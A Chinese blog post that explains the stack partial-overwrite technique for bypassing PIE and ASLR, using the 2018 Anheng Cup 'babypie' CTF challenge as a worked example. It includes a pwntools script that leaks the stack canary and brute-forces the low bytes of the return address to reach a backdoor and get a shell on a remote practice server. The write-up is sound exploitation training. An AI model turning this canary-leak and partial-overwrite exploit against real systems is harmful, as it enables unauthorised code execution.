栈上的Partial-Overwrite
原理
用来应对开启随机化(ASLR,PIE)的情况
在开启了随机化(ASLR,PIE)后,无论高位地址如何变化,低十二位的页内偏移始终是固定的,也就是说如果我们能更改低位的偏移,就可以在一定程度上控制程序的执行流,绕过PIE保护
练习题1
2018 - 安恒杯 - babypie
BUU复现
分析


开启了NX,PIE,canary保护
存在两处栈溢出
有后门
第一处栈溢出最多只能覆盖完canary
第二处栈溢出可以随意溢出
思路:
- 泄露canary。由于第一次栈溢出后会输出buf内容,而输出直到
'\x00'结束,所以可以把canary最后一位覆盖掉从而使输出时把canary的值泄露出来 - 栈溢出覆盖返回地址最后两字节。开启了pie,返回地址和后门的地址实际上有一个半字节不同,当然覆盖最少一字节,所以最后半个字节随便猜。由于地址随机化并不会改变页内的偏移,所以可以覆盖低两字节为
0x?A3E,有一定几率getshellexp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20from pwn import*
while True:
try:
#r = process('./babypie')
r = remote('node3.buuoj.cn',26096)
r.recvuntil('Input your Name:\n')
payload = 'a'*(0x30-0x8+0x1)
r.send(payload)
r.recvuntil('a'*(0x30-0x8+0x1))
canary = '\x00' + r.recvn(7)
print 'canary ==> ',hex(u64(canary))
payload = 'a'*(0x30-0x8) + canary + 'b'*8 + '\x3e\x0a'
r.recvuntil(':')
r.send(payload)
r.interactive()
except Exception as e:
r.close()
print e
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 aYoung's Blog!
评论








